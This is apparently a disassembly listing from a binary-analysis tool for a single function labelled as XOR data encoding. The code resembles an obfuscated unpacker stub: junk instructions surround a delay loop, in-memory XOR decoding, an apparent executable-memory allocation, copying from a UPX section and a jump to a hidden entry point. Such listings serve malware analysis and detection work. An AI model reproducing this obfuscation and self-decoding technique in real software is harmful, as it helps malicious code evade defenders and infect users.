Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xc747952d
mov ebx, 0xbab73836
and ebx, ebx
sub ebx, esi
popal
not esi
sub ebx, 0x563d012d
mov esi, 0
mov ecx, ebx
sub edi, eax
inc edi
mov edx, ecx
sub eax, edi
or edi, eax
mov ebx, edx
inc edi
or edi, edi
not edi
inc esi
add eax, eax
dec eax
cmp esi, 0x100777e
jne 0xa789c9
sub edi, eax
sub eax, edi
sub ebx, esi
inc esi
and ebx, ebx
mov ebx, 0xa78796
mov edi, 0xc4c4674e
mov ecx, 0x42ddb95a
not edx
mov esi, 0xa7898a
inc edi
sub edx, 0x83d85f7d
mov eax, dword [ebx]
dec edi
add edi, edx
dec edx
and eax, 0xff
add edx, ecx
dec ecx
xor dword [esi], eax
mov edx, edi
and edi, edx
not edx
add esi, 1
sub edx, ecx
mov edx, 0x2e759986
inc ebx
mov edx, 0x1298a658
not edx
add ecx, edx
cmp esi, entry0
jl 0xa78a11
dec edx
dec ecx
mov edx, edi
not edi
dec edi
mov ecx, 0xbf0d4bfd
sub edi, esi
add ecx, 0x3b7f28ea
and ebx, edi
mov edx, 0xa7898e
sub ebx, 1
and esi, edi
not ebx
mov edx, dword [edx]
sub esi, 1
inc esi
or ecx, ecx
mov edx, dword [edx]
dec edi
dec ebx
push edx
sub ebx, 0x2c47dfc
mov ebx, esi
mov ebx, 0xe33ecb26
mov edx, 0xa7898a
mov edi, ecx
or ecx, ebx
mov ecx, ebx
mov edx, dword [edx]
inc esi
inc edi
and ecx, ecx
mov edx, dword [edx]
and ebx, esi
add ebx, 1
push 0xa78992
or edi, edi
not ecx
add ecx, ecx
call edx
not esi
add ecx, 0xc6690fda
mov edx, dword [esp]
add esp, 4
mov ebx, edi
or edi, ebx
push 0xa7899f
or edi, edi
sub edi, ebx
push eax
dec ecx
add ebx, edi
call edx
or ecx, edi
or esi, esi
push 0x40
add ebx, 1
add ebx, 0x1ffcf0c0
sub esp, 4
mov dword [esp], 0x3000
not ebx
add esi, 1
add ecx, ecx
push 0x20000786
add ebx, edi
not edi
sub esp, 4
mov dword [esp], 0
or ecx, ebx
dec ebx
add ebx, 0xa2144cd8
call eax
add ebx, 0xb1e5b79
not esi
add eax, 0x20000722
and edi, ecx
and ecx, ebx
mov edx, 0xa420b551
and ebx, ecx
not ebx
mov ecx, edi
mov dword [eax], edx
and edi, esi
mov edi, ebx
mov edx, dword [eax]
add esi, esi
or esi, ecx
mov ebx, 0xcff06604
cmp edx, 0xa420b551
je 0xa78b5a
mov edx, 0
mov byte [edx], al
dec ebx
mov ebx, 0x8f011ddb
mov edi, ecx
mov edi, ecx
mov ebx, ecx
not esi
mov esi, 0x97515690
sub esi, 1
mov edi, section.UPX1
mov ebx, esi
add ebx, ebx
and esi, esi
mov edx, 0xa78795
add ebx, 1
and ebx, esi
mov ebx, 0xaa5c002e
mov eax, 0
sub esi, ebx
add esi, 1
mov ecx, 0xa78796
mov ebx, 0x6cb0dd52
and esi, ebx
sub ebx, 0x95a35f5a
lea ecx, [eax + ecx]
sub esi, 1
and ebx, ebx
not ebx
mov ecx, dword [ecx]
sub ebx, esi
or ebx, esi
add esi, esi
and ecx, 0xff
dec ebx
add ebx, 0xfa1d5000
dec ebx
inc eax
sub ebx, esi
sub ebx, 0xa7d899c6
cmp eax, 0x1f4
jne 0xa78be8
mov eax, 0
and ebx, esi
sub esi, 0xc4759cbb
not ebx
add ebx, 0x15cd1d58
sub esi, 0x586ea350
xor dword [edi], ecx
not ebx
not ebx
sub esi, ebx
add edi, 2
sub ebx, 0xe66f46d2
sub ebx, esi
cmp edi, edx
jl 0xa78b9d
inc ebx
add esi, 0xff91affe
sub esi, 0xaadcbe68
or esi, ebx
mov esi, section.UPX1
sub edi, edx
mov edi, edx
add edx, 0x98e42085
mov eax, section.UPX1
add edx, edx
dec edx
mov ecx, 0xa78795
or edx, edi
or edi, edx
mov ebx, 0
or edi, edi
add edi, edx
add edx, 0xb1b5d4de
mov bl, byte [eax]
mov edi, 0xd5a70c70
or edx, edi
sub edi, edx
mov byte [esi], bl
sub edi, 0x7560d1cc
and edx, edi
add edx, 0x55554532
add esi, 1
add edi, edi
inc edi
add eax, 2
add edx, edi
or edi, edi
cmp eax, ecx
jle 0xa78c5a
sub edx, edi
and edx, edx
add ebx, esi
sub ebx, esi
push 0x8dc6a0
sub esi, ebx
add ebx, 0x652367c9
ret